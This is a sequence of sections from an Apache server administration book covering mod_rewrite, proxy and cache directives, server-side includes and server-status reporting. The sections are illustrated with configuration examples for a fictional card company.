These variables all correspond to the similarly named HTTP MIME headers, C variables of the Apache server, or the current time. If the regular expression does not match, the RewriteRule following it does not apply.

8.8.7. RewriteRule

RewriteRule Pattern Substitution [flags]
Server config, virtual host, directory

This directive can be used as many times as necessary. Each occurrence applies the rule to the output of the preceding one, so the order matters. Pattern is matched to the incoming URL; if it succeeds, the Substitution is made. An optional argument, flags, can be given. The flags, which follow, can be abbreviated to one or two letters:

redirect|R

Force redirect.

proxy|P

Force proxy.

last|L

Last rule: Go to top of rule with current URL.

chain|C

Apply following chained rule if this rule matches.

type|T=mime-type

Force target file to be mime-type.

nosubreq|NS

Skip rule if it is an internal subrequest.

env|E=VAR:VAL

Set an environment variable.

qsappend|QSA

Append a query string.

passthrough|PT

Pass through to next handler.

skip|S=num

Skip the next num rules.

next|N

Next round -- start at the top of the rules again.

gone|G

Returns HTTP response 410 -- "URL Gone."

forbidden|F

Returns HTTP response 403 -- "URL Forbidden."

For example, say we want to rewrite URLs of the form:

/Language/~Realname/.../File

into:

/u/Username/.../File.Language

We take the rewrite map file given previously and save it under /anywhere/map.real-to-user. Then we only have to add the following lines to the Apache server Config file:

RewriteLog   /anywhere/rewrite.log
RewriteMap   real-to-user  txt:/anywhere/map.real-to-host
RewriteRule  ^/([^/]+)/~([^/]+)/(.*)$   /u/${real-to-user:$2|nobody}/$3.$1

8.8.8. A Rewrite Example

The Butterthlies salespeople seem to be taking their jobs more seriously. Our range has increased so much that the old catalog based around a single HTML script is no longer workable because there are too many cards. We have built a database of cards and a utility called cardinfo that accesses it using the arguments:

cardinfo cardid query

where cardid is the number of the card, and query is one of the following words: "price," "artist," or "size." The problem is that the salespeople are too busy to remember the syntax, so we want to let them log onto the card database as if it were a web site. For instance, going to http://sales.butterthlies.com/info/2949/price would return the price of card number 2949. The Config file is in ... /site.rewrite :

User webuser
Group webgroup
# Apache requires this server name, although in this case it will
# never be used.
# This is used as the default for any server that does not match a
# VirtualHost section.
ServerName www.butterthlies.com

NameVirtualHost 192.168.123.2

<VirtualHost www.butterthlies.com>
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/site.rewrite/htdocs/customers
ServerName www.butterthlies.com
ErrorLog /usr/www/site.rewrite/logs/customers/error_log
TransferLog /usr/www/site.rewrite/logs/customers/access_log
</VirtualHost>

<VirtualHost sales.butterthlies.com>
ServerAdmin sales_mgr@butterthlies.com
DocumentRoot /usr/www/site.rewrite/htdocs/salesmen
Options ExecCGI indexes
ServerName sales.butterthlies.com
ErrorLog /usr/www/site.rewrite/logs/salesmen/error_log
TransferLog /usr/www/site.rewrite/logs/salesmen/access_log
RewriteEngine on
RewriteLog logs/rewrite
RewriteLogLevel 9
RewriteRule ^/info/([^/]+)/([^/]+)$   /cgi-bin/cardinfo?$2+$1 [PT]
ScriptAlias /cgi-bin /usr/www/cgi-bin
</VirtualHost>

In real life cardinfo would be an elaborate program. However, here we just have to show that it could work, so it is extremely simple:

#!/bin/sh
#
echo "content-type: text/html"
echo sales.butterthlies.com
echo "You made the query $1 on the card $2"

To make sure everything is in order before we do it for real, we turn RewriteEngine off and access http://sales.butterthlies.com/cgi-bin/cardinfo. We get back the following message:

The requested URL /info/2949/price was not found on this server.

This is not surprising. We now turn RewriteEngine on and look at the crucial line in the Config file, which is:

RewriteRule ^/info/([^/]+)/([^/]+)$ /cgi-bin/cardinfo?$2+$1 [PT]

Translated into English this means the following: at the start of the string, match /info/, followed by one or more characters that aren't "/", and put those characters into the variable $1 (the parentheses do this; $1 because they are the first set). Then match a "/", then one or more characters aren't "/", and put those characters into $2. Then match the end of the string and pass the result through [PT] to the next rule, which is ScriptAlias. We end up as if we had accessed http://sales.butterthlies.com/cgi-bin/cardinfo?<card ID>+<query>.

If the CGI script is on a different web server for some reason, we could write:

RewriteRule ^/info/([^/]+)/([^/]+)$ http://somewhere.else.com/cgi-bin/
    cardinfo/$2+$1[PT]

Note that this pattern won't match /info/123/price/fred, because it has too many slashes in it.

If we run all this with ./go, and access http://sales.butterthlies.com/info/2949/price from the client, we see the following message:

You made the query price on card 2949

Previous | Home | Next
8.7. RedirectMatch | Book Index | 8.9. Speling
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Speling (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

8.9. Speling

A useful module, mod_speling, [54] has been added to the distribution. It corrects miscapitalizations, and many omitted, transposed, or mistyped characters in URLs corresponding to files or directories, by comparing the input with the filesystem. Note that it does not correct misspelled usernames.

[54]Yes, we did spel that correctly. Another of those programmer's jokes, we're afraid.

8.9.1. CheckSpelling

CheckSpelling [on|off]

Anywhere
Previous | Home | Next
8.8. Rewrite | Book Index | 9. Proxy Server
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Proxy Server (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Chapter 9. Proxy Server

Contents:

Proxy Directives
Caching
Setup

An important concern on the Web is keeping the Bad Guys out of your network (see Chapter 13, "Security"). One established technique is to keep the network hidden behind a firewall; this works well, but as soon as you do it, it also means that everyone on the same network suddenly finds that their view of the Net has disappeared (rather like people living near Miami Beach before and after the building boom). This becomes an urgent issue at Buttherthlies, Inc., as competition heats up and naughty-minded Bad Guys keep trying to break our security and get in. We install a firewall and, anticipating the instant outcries from the marketing animals who need to get out on the Web and surf for prey, we also install a proxy server to get them out there.

So, in addition to the Apache that serves clients visiting our sites and is protected by the firewall, we need a copy of Apache to act as a proxy server to let us, in our turn, access other sites out on the Web. Without the proxy server, those inside are safe but blind.

9.1. Proxy Directives

We are not concerned here with firewalls, so we take them for granted. The interesting thing is how we configure the proxy Apache to make life with a firewall tolerable to those behind it.

site.proxy has three subdirectories: cache, proxy, real. The Config file from ... /site. proxy/proxy is as follows:

User webuser
Group webgroup
ServerName www.butterthlies.com

Port 8000
ProxyRequests on
CacheRoot /usr/www/site.proxy/cache
CacheSize 100000

The points to notice are that:

  • On this site we use ServerName www.butterthlies.com.

  • The Port number is set to 8000 so that we can change proxies without having to change users' Configs.

  • We turn ProxyRequests on and provide a directory for the cache, which we will discuss later in this chapter.

  • CacheRoot is set up in a special directory.

  • CacheSize is set to 100000 kilobytes.

9.1.1. ProxyRequests

ProxyRequests [on|off]
Default: off
Server config

This directive turns proxy serving on. Even if ProxyRequests is off, ProxyPass directives are still honored.

9.1.2. ProxyRemote

ProxyRemote remote-server = protocol://hostname[:port]
Server config

This directive defines remote proxies to this proxy. remote-server is either the name of a URL scheme that the remote server supports, a partial URL for which the remote server should be used, or " * " to indicate that the server should be contacted for all requests. protocol is the protocol that should be used to communicate with the remote server. Currently, only HTTP is supported by this module. For example:

ProxyRemote ftp http://ftpproxy.mydomain.com:8080
  ProxyRemote http://goodguys.com/ http://mirrorguys.com:8000
  ProxyRemote * http://cleversite.com

9.1.3. ProxyPass

ProxyPass path url
Server config

This command runs on an ordinary server and translates requests for a named directory and below to a demand to a proxy server. So, on our ordinary Butterthlies site, we might want to pass requests to /secrets onto a proxy server darkstar.com:

ProxyPass /secrets http://darkstar.com

Unfortunately, this is less useful than it might appear, since the proxy does not modify the HTML returned by darkstar.com. This means that URLs embedded in the HTML will refer to documents on the main server unless they have been written carefully. For example, suppose a document one.html is stored on darkstar.com with the URL http://darkstar.com/one.html, and we want it to refer to another document in the same directory. Then the following links will work, when accessed as http://www.butterthlies.com/secrets/one.html:

<A HREF="two.html">Two</A>
<A HREF="/secrets/two.html">Two</A>
<A HREF="http://darkstar.com/two.html">Two</A>

But this example will not work:

<A HREF="/two.html">Not two</A>

When accessed directly, through http://darkstar.com/one.html, these links work:

<A HREF="two.html">Two</A>
<A HREF="/two.html">Two</A>
<A HREF="http://darkstar.com/two.html">Two</A>

But the following doesn't:

<A HREF="/secrets/two.html">Two</A>

9.1.4. ProxyDomain

ProxyDomain Domain
Server config

This directive is only useful for Apache proxy servers within intranets. The ProxyDomain directive specifies the default domain to which the Apache proxy server will belong. If a request to a host without a domain name is encountered, a redirection response to the same host with the configured Domain appended will be generated.

9.1.5. NoProxy

NoProxy { Domain | SubNet | IpAddr | Hostname }
Server config

This directive is only useful for Apache proxy servers within intranets. The NoProxy directive specifies a list of subnets, IP addresses, hosts, and/or domains, separated by spaces. A request to a host that matches one or more of these is always served directly, without forwarding to the configured ProxyRemote proxy server(s).

9.1.6. ProxyPassReverse

ProxyPassReverse path url
Server config, virtual host

A reverse proxy is a way to share load between several servers -- the frontend server simply accepts requests and forwards them to one of several backend servers. The optional module mod_rewrite has some special stuff in it to support this. This directive lets Apache adjust the URL in the Location response header. If a ProxyPass (or mod_rewrite) has been used to do reverse proxying, then this directive will rewrite Location headers coming back from the reverse proxied server so that they look as if they came from somewhere else (normally this server, of course).

Previous | Home | Next
8.9. Speling | Book Index | 9.2. Caching
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Caching (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

9.2. Caching

Another reason for using a proxy server is to cache data from the Web to save the bandwidth of the world's sadly overloaded telephone systems and therefore to improve access time on our server.

The directive CacheRoot, cunningly inserted in the Config file shown earlier, and the provision of a properly permissioned cache directory allow us to show this happening. We start by providing the directory ... /site.proxy/cache, and Apache then improves on it with some sort of directory structure like ... /site.proxy/cache/d/o/j/gfqbZ@49rZiy6LOCw.

The file gfqbZ@49rZiy6LOCw contains the following:

320994B6 32098D95 3209956C 00000000 0000001E
X-URL: http://192.168.124.1/message
HTTP/1.0 200 OK
Date: Thu, 08 Aug 1996 07:18:14 GMT
Server: Apache/1.1.1
Content-length: 30
Last-modified Thu, 08 Aug 1996 06:47:49 GMT

I am a web site far out there

Next time someone wants to access http://192.168.124.1/message, the proxy server does not have to lug bytes over the Web; it can just go and look it up.

There are a number of housekeeping directives that help with caching.

9.2.1. CacheRoot

CacheRoot directory
Default: none
Server config, virtual host

Sets the directory to contain cache files -- must be writable by Apache.

9.2.2. CacheSize

CacheSize size_in_kilobytes
Default: 5
Server config, virtual host

This directive sets the size of the cache area in kilobytes. More may be stored, but garbage collection reduces it to less than the set number.

9.2.3. CacheGcInterval

CacheGcInterval hours
Default: never
Server config, virtual host

This directive specifies how often, in hours, Apache checks the cache and does a garbage collection if the amount of data exceeds CacheSize.

9.2.4. CacheMaxExpire

CacheMaxExpire hours
Default: 24
Server config, virtual host

This directive specifies how long cached documents are retained. This limit is enforced even if a document is supplied with an expiration date that is further in the future.

9.2.5. CacheLastModifiedFactor

CacheLastModifiedFactor factor
Default: 0.1
Server config, virtual host

If no expiration time is supplied with the document, then estimate one by multiplying the time since last modification by factor. CacheMaxExpire takes precedence.

9.2.6. CacheDefaultExpire

CacheDefaultExpire hours
Default: 1
Server config, virtual host

If the document is fetched by a protocol that does not support expiration times, use this number. CacheMaxExpire does not override it.

9.2.7. CacheDirLevels and CacheDirLength

CacheDirLevels number
Default: 3
CacheDirLength number
Default: 1
Server config, virtual host

The proxy module stores its cache with filenames that are a hash of the URL. The filename is split into CacheDirLevels of directory using CacheDirLength characters for each level. This is for efficiency when retrieving the files (a flat structure is very slow on most systems). So, for example:

CacheDirLevels 3
CacheDirLength 2

converts the hash "abcdefghijk" into ab/cd/ef/ghijk. A real hash is actually 22 characters long, each character being one of a possible 64 (26), so that three levels, each with a length of 1, gives 218 directories. This number should be tuned to the anticipated number of cache entries (218 being roughly a quarter million, and therefore good for caches up to several million entries in size).

9.2.8. CacheNegotiatedDocs

CacheNegotiatedDocs
Default: none
Server config, virtual host

If present in the Config file, this directive allows content-negotiated documents to be cached by proxy servers. This could mean that clients behind those proxys could retrieve versions of the documents that are not the best match for their abilities, but it will make caching more efficient.

This directive only applies to requests that come from HTTP/1.0 browsers. HTTP/1.1 provides much better control over the caching of negotiated documents, and this directive has no effect on responses to HTTP/1.1 requests.

9.2.9. NoCache

NoCache [host|domain] [host|domain] ...

This directive specifies a list of hosts and/or domains, separated by spaces, from which documents are not cached.

Previous | Home | Next
9. Proxy Server | Book Index | 9.3. Setup
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Setup (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

9.3. Setup

The cache directory for the proxy server has to be set up rather carefully with owner webuser and group webgroup, since it will be accessed by that insignificant person (see Chapter 2, "Our First Web Site").

You now have to tell Netscape that you are going to be accessing the Web via a proxy. Click on Edit [image] Preferences [image] Advanced [image] Proxies tab [image] Manual Proxy Configuration. Click on View and, in the HTTP box, enter the IP address of our proxy, which is on the same network, 192.168.123, as our copy of Netscape:

192.168.123.4

Enter 8000 in the Port box.

For Microsoft Internet Explorer, select View [image] Options [image] Connection tab, check the Proxy Server checkbox, then click the Settings button and set up the HTTP proxy as described previously. That is all there is to setting up a real proxy server.

You might want to set up a simulation in order to watch it in action, as we did, before you do the real thing. However, it is not that easy to simulate a proxy server on one desktop, and when we have simulated it, the elements play different roles from those they have supported in demonstrations so far. We end up with four elements:

  • Netscape running on a Windows 95 machine. Normally this is a person out there on the Web trying to get at our sales site; now, it simulates a Butterthlies member trying to get out.

  • An imaginary firewall.

  • A copy of Apache (site: ... /site.proxy/proxy) running on the FreeBSD machine as proxy server to the Butterthlies site.

  • Another copy of Apache, also running on FreeBSD (site: ... /site.proxy/real ) that simulates another web site "out there" that we are trying to access. We have to imagine that the illimitable wastes of the Web separate it from us.

The configuration in ... /site.proxy/proxy is as shown earlier. Since the proxy server is running on a machine notionally on the other side of the Web from the machine running ... /site.proxy/real, we need to put it on another port, usually 8000.

The configuration file in ... /proxy/real is:

User webuser
Group webgroup
ServerName www.faraway.com

Listen www.faraway.com:80
DocumentRoot /usr/www/site.proxy/real/htdocs

On this site, we use the more compendious Listen with server name and port number combined. In ... /site.proxy/real/htdocs there is a file message:

I am a web site far, far out there.

Also in /etc/hosts there is an entry:

192.168.124.1 www.faraway.com

simulating a proper DNS registration for this far-off site. Note that it is on a different network (192.168.124) from the one we normally use (192.168.123), so that when we try to access it over our LAN, we can't without help. So much for faraway.

The weakness of all this is in /usr/www/lan_setup on the FreeBSD machine, because we are trying to run these two servers, notionally on different parts of the Web, on the same machine:

ifconfig ep0 192.168.123.2
ifconfig ep0 192.168.123.3 alias netmask 0xFFFFFFFF
ifconfig ep0 192.168.124.1 alias

The script lan_setup has to map all three servers onto the same physical interface, ep0. The driver for ep0 receives any request for these three IP numbers and forwards it to any copy of Apache via TCP/IP. Each copy of Apache tries to see if it has a virtual server with the number (and if it has, it handles the request), so we could find this setup appearing to work when really it isn't working.

Now for action: Get to Console 1 by pressing ALT-F1, go to ... /site.proxy/real, and start the server with ./go. Similarly, go to Console 2 and site ... /site.proxy/proxy, and start it with ./go. On Netscape, access http://192.168.124.1/.

You should see the following:

Index of /
. Parent Directory
. message

And if we select message we see:

I am a web site far out there

Fine, but are we fooling ourselves? Go to Netscape's Proxies page and disable the HTTP proxy by removing the IP address:

192.168.123.2

Exit from Netscape and reload; then reaccess http://192.168.124.1/. You should get some sort of network error.

What happened? We asked Netscape to retrieve http://192.168.124.1/. Since it is on network 192.168.123, it failed to find this address. So instead it used the proxy server at port 8000 on 192.168.123.2. It sent its message there:

GET http://192.168.124.1/ HTTP/1.0

The copy of Apache running on the FreeBSD machine, listening to port 8000, was offered this morsel and accepted the message. Since that copy of Apache had been told to service proxy requests, it retransmitted the request to the destination we thought it was bound for all the time, 192.168.123.1 (which it can do since it is on the same machine):

GET / HTTP/1.0

In real life, things are simpler: you only have to carry out steps 2 and 3, and you can ignore the theology. When you have finished with all this, remember to remove the HTTP proxy IP address from your browser setup.

Previous | Home | Next
9.2. Caching | Book Index | 10. Server-Side Includes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Server-Side Includes (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Chapter 10. Server-Side Includes

Contents:

File Size
File Modification Time
Includes
Execute CGI
Echo
XBitHack
XSSI

The object of this set of facilities is to allow statements that trigger further actions to be put into served documents. The same results could be achieved by CGI scripts -- either shell scripts or specially written C programs -- but server-side includes often do what is wanted with a lot less effort. The range of possible actions is immense, so we will just give basic illustrations of each command in a number of text files in ... /htdocs.

The Config file for this site (... /site.ssi) is as follows:

User webuser
Group webgroup
ServerName www.butterthlies.com
DocumentRoot /usr/www/site.ssi/htdocs
ScriptAlias /cgi-bin /usr/www/cgi-bin
AddHandler server-parsed shtml
Options +Includes

The key lines are indicated in bold print.

shtml is the normal extension for HTML scripts with server-side includes in them, and is found as the extension to the relevant files in ... /htdocs. We could just as well use brian or #dog_run as long as it appears the same there, in the file with the relevant command, and in the configuration file. Using html can be useful -- for instance, you can easily implement site-wide headers and footers -- but it does mean that every HTML page gets parsed by the SSI engine. On busy systems, this could reduce performance.

Bear in mind that HTML generated by a CGI script does not get put through the SSI processor, so it's no good including the markup listed in this chapter in a CGI script.

Options Includes turns on processing of SSIs. As usual, look in the error_log if things don't work. The error messages passed to the client are necessarily uninformative since they are probably being read three continents away, where nothing useful can be done about them.

The trick is to insert special strings into our documents, which then get picked up by Apache on their way through, tested against reference strings using =, !=, <, <=, >, and >=; and then replaced by dynamically written messages. As we will see, the strings have a deliberately unusual form so they won't get confused with more routine stuff. The syntax of a command is:

<!--#element attribute=value attribute=value ... -->

The Apache manual tells us what the elements are:

config

This command controls various aspects of the parsing. The valid attributes are as follows:

errmsg

The value is a message that is sent back to the client if an error occurs during document parsing.

sizefmt

The value sets the format to be used when displaying the size of a file. Valid values are bytes for a count in bytes, or abbrev for a count in kilobytes or megabytes as appropriate.

timefmt

The value is a string to be used by the strftime( ) library routine when printing dates.

echo

This command prints one of the include variables, defined later in this chapter. If the variable is unset, it is printed as (none). Any dates printed are subject to the currently configured timefmt. The only attribute is:

var

The value is the name of the variable to print.

exec

The exec command executes a given shell command or CGI script. Options IncludesNOEXEC disables this command completely -- a boon to the prudent webmaster. The valid attribute is:

cgi

The value specifies a %-encoded URL relative path to the CGI script. If the path does not begin with a slash, it is taken to be relative to the current document. The document referenced by this path is invoked as a CGI script, even if the server would not normally recognize it as such. However, the directory containing the script must be enabled for CGI scripts (with ScriptAlias or the ExecCGI option). The protective wrapper suEXEC will be applied if it is turned on. The CGI script is given the PATH_INFO and query string (QUERY_STRING) of the original request from the client; these cannot be specified in the URL path. The include variables will be available to the script in addition to the standard CGI environment. If the script returns a Location header instead of output, this is translated into an HTML anchor. If Options IncludesNOEXEC is set in the Config file, this command is turned off. The include virtual element should be used in preference to exec cgi.

cmd

The server executes the given string using /bin/sh. The include variables are available to the command. If Options IncludesNOEXEC is set in the Config file, this is turned off.

fsize

This command prints the size of the specified file, subject to the sizefmt format specification. The attributes are as follows:

file

The value is a path relative to the directory containing the current document being parsed.

virtual

The value is a %-encoded URL path relative to the current document being parsed. If it does not begin with a slash, it is taken to be relative to the current document.

flastmod

This command prints the last modification date of the specified file, subject to the timefmt format specification. The attributes are the same as for the fsize command.

include

Includes other Config files immediately at that point in parsing -- right there and then, not later on. Any included file is subject to the usual access control. If the directory containing the parsed file has Options IncludesNOEXEC set and including the document causes a program to be executed, it isn't included: this prevents the execution of CGI scripts. Otherwise, CGI scripts are invoked as normal using the complete URL given in the command, including any query string.

An attribute defines the location of the document; the inclusion is done for each attribute given to the include command. The valid attributes are as follows.

file

The value is a path relative to the directory containing the current document being parsed. It can't contain ../, nor can it be an absolute path. The virtual attribute should always be used in preference to this one.

virtual

The value is a %-encoded URL relative to the current document being parsed. The URL cannot contain a scheme or hostname, only a path and an optional query string. If it does not begin with a slash, then it is taken to be relative to the current document. A URL is constructed from the attribute's value, and the server returns the same output it would have if the client had requested that URL. Thus, included files can be nested. A CGI script can still be run by this method even if Options IncludesNOEXEC is set in the Config file. The reasoning is that clients can run the CGI anyway by using its URL as a hot link or simply typing it into their browser, so no harm is done by using this method (unlike cmd or exec).

10.1. File Size

The fsize command allows you to report the size of a file inside a document. The file size.shtml is as follows:

<!--#config errmsg="Bungled again!"-->
<!--#config sizefmt="bytes"-->
The size of this file is <!--#fsize file="size.shtml"--> bytes.
The size of another_file is <!--#fsize file="another_file"--> bytes.

The first line provides an error message. The second line means that the size of any files is reported in bytes printed as a number, for instance, 89. Changing bytes to abbrev gets the size in kilobytes, printed as 1k. The third line prints the size of size.shtml itself; the fourth line prints the size of another_file. You can't comment out lines with the "# " character since it just prints, and the following command is parsed straight away. config commands must come above commands that might want to use them.

You can replace the word file= in this script, and in those which follow, with virtual=, which gives a %-encoded URL path relative to the current document being parsed. If it does not begin with a slash, it is taken to be relative to the current document.

If you play with this stuff, you find that Apache is picky about the syntax. For instance, trailing spaces cause an error:

The size of this file is <!--#fsize file="size.shtml   "--> bytes.
The size of this file is Bungled again! bytes

If we had not used the errmsg command, we would see the following:

...[an error occurred while processing this directive]...
Previous | Home | Next
9.3. Setup | Book Index | 10.2. File Modification Time
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


File Modification Time (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

10.2. File Modification Time

The last modification time of a file can be reported with flastmod. This gives the client an idea of the freshness of the data you are offering. The format of the output is controlled by the timefmt attribute of the config element. The default rules for timefmt are the same as for the C library function strftime( ) , except that the year is now shown in four-digit format to cope with the Year 2000 problem.

Figure 10.2 Win 32 Apache is soon to be modified to make it work in the same way as the Unix version. Win32 users who do not have access to Unix C manuals can consult the FreeBSD documentation at http://www.freebsd.org, for example:

% man strftime

(We have not included it here because it may well vary from system to system.)

The file time.shtml gives an example:

<!--#config errmsg="Bungled again!"-->
<!--#config timefmt="%A %B %C, the %jth day of the year, %S seconds
    since the  Epoch"-->
The mod time of this file is <!--#flastmod virtual="size.shtml"-->
The mod time of another_file is <!--#flastmod virtual="another_file"-->

This produces a response such as the following:

The mod time of this file is Tuesday August 19, the 240th day of the year,
841162166 seconds since the Epoch The mod time of another_file is Tuesday
August 19, the 240th day of the year, 841162166 seconds since the Epoch
Previous | Home | Next
10. Server-Side Includes | Book Index | 10.3. Includes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Includes (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

10.3. Includes

We can include one file in another with the include command:

<!--#config errmsg="Bungled again!"-->
This is some text in which we want to include text from another file:
<< <!--#include virtual="another_file"--> >>
That was it.

This produces the following response:

This is some text in which we want to include text from another file:
<< This is the stuff in 'another_file'. >>
That was it.
Previous | Home | Next
10.2. File Modification Time | Book Index | 10.4. Execute CGI
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Execute CGI (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

10.4. Execute CGI

We can have a CGI script executed without having to bother with AddHandler, SetHandler, or ExecCGI. The file exec.shtml contains:

<!--#config errmsg="Bungled again!"-->
We're now going to execute 'cmd="ls -l"'':
<< <!--#exec cmd="ls -l"--> >>
and now /usr/www/cgi-bin/mycgi.cgi:
<< <!--#exec cgi="cgi-bin/mycgi.cgi"--> >>
and now the 'virtual' option:
<< <!--#include virtual="cgi-bin/mycgi.cgi"--> >>
That was it.

There are two attributes available to exec: cgi and cmd. The difference is that cgi needs a URL (in this case /cgi-bin/mycgi.cgi, set up by the ScriptAlias line in the Config file) and is protected by suEXEC if configured, whereas cmd will execute anything.

There is a third way of executing a file, namely, through the virtual attribute to the include command. When we select exec.shtml from the browser, we get this result:

We're now going to execute 'cmd="ls -l"'':
<< total 24
-rw-rw-r--  1 414  xten   39 Oct  8 08:33 another_file
-rw-rw-r--  1 414  xten  106 Nov 11  1997 echo.shtml
-rw-rw-r--  1 414  xten  295 Oct  8 10:52 exec.shtml
-rw-rw-r--  1 414  xten  174 Nov 11  1997 include.shtml
-rw-rw-r--  1 414  xten  206 Nov 11  1997 size.shtml
-rw-rw-r--  1 414  xten  269 Nov 11  1997 time.shtml
 >>
and now /usr/www/cgi-bin/mycgi.cgi:
<< Have a nice day
 >>
and now the 'virtual' option:
<< Have a nice day
 >>
That was it.

A prudent webmaster should view the cmd and cgi options with grave suspicion, since they let writers of SSIs give both themselves and outsiders dangerous access. However, if he or she uses Options +IncludesNOEXEC in the Config file, the problem goes away:

We're now going to execute 'cmd="ls -l"'':
<< Bungled again! >>
and now /usr/www/cgi-bin/mycgi.cgi:
<< Bungled again! >>
and now the 'virtual' option:
<< Have a nice day
 >>
That was it.

Now, nothing can be executed through an SSI that couldn't be executed directly through a browser, with all the control that implies for the webmaster. (You might think that exec cgi= would be the way to do this, but it seems that some question of backward compatibility intervenes.)

Apache 1.3 introduced the improvement that buffers containing the output of CGI scripts are flushed and sent to the client whenever the buffer has something in it and the server is waiting.

Previous | Home | Next
10.3. Includes | Book Index | 10.5. Echo
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Echo (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

10.5. Echo

Finally, we can echo a limited number of environment variables: DATE_GMT, DATE_LOCAL, DOCUMENT_NAME, DOCUMENT_URI, and LAST_MODIFIED. The file echo.shtml is:

Echoing the Document_URI <!--#echo var="DOCUMENT_URI"-->
Echoing the DATE_GMT <!--#echo var="DATE_GMT"-->

and produces the response:

Echoing the Document_URI /echo.shtml
Echoing the DATE_GMT Saturday, 17-Aug-96 07:50:31
Previous | Home | Next
10.4. Execute CGI | Book Index | 10.6. XBitHack
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


XBitHack (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

10.6. XBitHack

This is an obsolete facility for handling server-side includes automatically if the execute permission is set on a file. It is provided for backward compatibility. If the group execute bit is set, a long expiration time is given to the browser. It is better to use a handler as described above.

Previous | Home | Next
10.5. Echo | Book Index | 10.7. XSSI
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


XSSI (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

10.7. XSSI

This is an extension of the standard SSI commands available in the XSSI module, which became a standard part of the Apache distribution in Version 1.2. XSSI adds the following abilities to the standard SSI:

  • XSSI allows variables in any SSI commands. For example, the last modification time of the current document could be obtained with:

<!--#flastmod file="$DOCUMENT_NAME" -->

  • The set command sets variables within the SSI.

  • The SSI commands if, else, elif, and endif are used to include parts of the file based on conditional tests. For example, the $HTTP_USER_AGENT variable could be tested to see the type of browser, and different HTML codes output depending on the browser capabilities.

Previous | Home | Next
10.6. XBitHack | Book Index | 11. What's Going On?

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


What's Going On? (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Chapter 11. What's Going On?

Contents:

AddModuleInfo
Status
Server Status
Server Info
Logging the Action

Apache is able to report to a client a great deal of what is happening to it internally. The necessary module is contained in the mod_info.c file, which should be included at build time. It provides a comprehensive overview of the server configuration, including all installed modules and directives in the configuration files. This module is not compiled into the server by default. To enable it, either load the corresponding module if you are running Win32 or Unix with DSO support enabled, or add the following line to the server build Config file and rebuild the server:

AddModule modules/standard/mod_info.o

It should also be noted that if mod_info is compiled into the server, its handler capability is available in all configuration files, including per-directory files (e.g., .htaccess). This may have security-related ramifications for your site.

11.1. AddModuleInfo

AddModuleInfo module-name string
Server config, virtual host

This allows the content of string to be shown as HTML-interpreted additional information for the module module-name. Example:

AddModuleInfo mod_auth.c 'See <A HREF="http://www.apache.org/docs/mod/
    mod auth.html">http://www.apache.org/docs/mod/mod_auth.html</A>'
Previous | Home | Next
10.7. XSSI | Book Index | 11.2. Status
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Status (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

11.2. Status

Apache can be persuaded to cough up comprehensive diagnostic information by including and invoking the module mod_status:

AddModule modules/standard/mod_status.o

This produces invaluable information for the webmaster of a busy site, enabling him or her to track down problems before they become disasters. However, since this is really our own business, we don't want the unwashed mob out on the Web jostling to see our secrets. To protect the information, we therefore restrict it to a whole or partial IP address that describes our own network and no one else's.

Previous | Home | Next
11. What's Going On? | Book Index | 11.3. Server Status
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Server Status (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

11.3. Server Status

For this exercise, the httpd.conf in ... /site.status file should look like this:

User webuser
Group webgroup
ServerName www.butterthlies.com
DocumentRoot /usr/www/site.status/htdocs

<Location /status>
order deny, allow
allow from 192.168.123.1
deny from all
SetHandler server-status
</Location>

<Location /info>
order deny, allow
allow from 192.168.123.1
deny from all
SetHandler server-status
SetHandler server-info
</Location>

The allow from directive keeps our laundry private.

Remember the way order works: the last entry has the last word. Notice also the use of SetHandler , which sets a handler for all requests to a directory, instead of AddHandler, which specifies a handler for particular file extensions. If you then access www.butterthlies.com/status, you get this response:

Apache Server Status for www.butterthlies.com
Server Version: Apache/1.3.1 (Unix)
Server Built: Sep 15 1998 15:09:34
Current Time: Tuesday, 13-Oct-1998 08:16:08
Restart Time: Tuesday, 13-Oct-1998 08:15:13
Server uptime: 55 seconds
Total accesses: 1 - Total Traffic: 0 kB
CPU Usage: u0 s0 cu0 cs0
.0182 requests/sec - 0 B/second - 0 B/request
1 requests currently being processed, 5 idle servers
_W____..........................................................
................................................................
................................................................
................................................................
Scoreboard Key:
"_" Waiting for Connection, "S" Starting up, "R" Reading Request,
"W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
"L" Logging, "G" Gracefully finishing, "." Open slot with no current process

Srv PID  Acc   M  CPU   SS Req Conn  Child Slot     Host             Vhost                 Request
0   157 0/1/1  -  0.00  10  54  0.0  0.000 0.000 192.168.123.1 www.butterthlies.com   GET /mycgi.cgi HTTP/1.0
1   158 0/0/0  W  0.00  54   0  0.0  0.00  0.00  192.168.123.1 www.butterthlies.com   GET /status HTTP/1.0

Srv   Server number
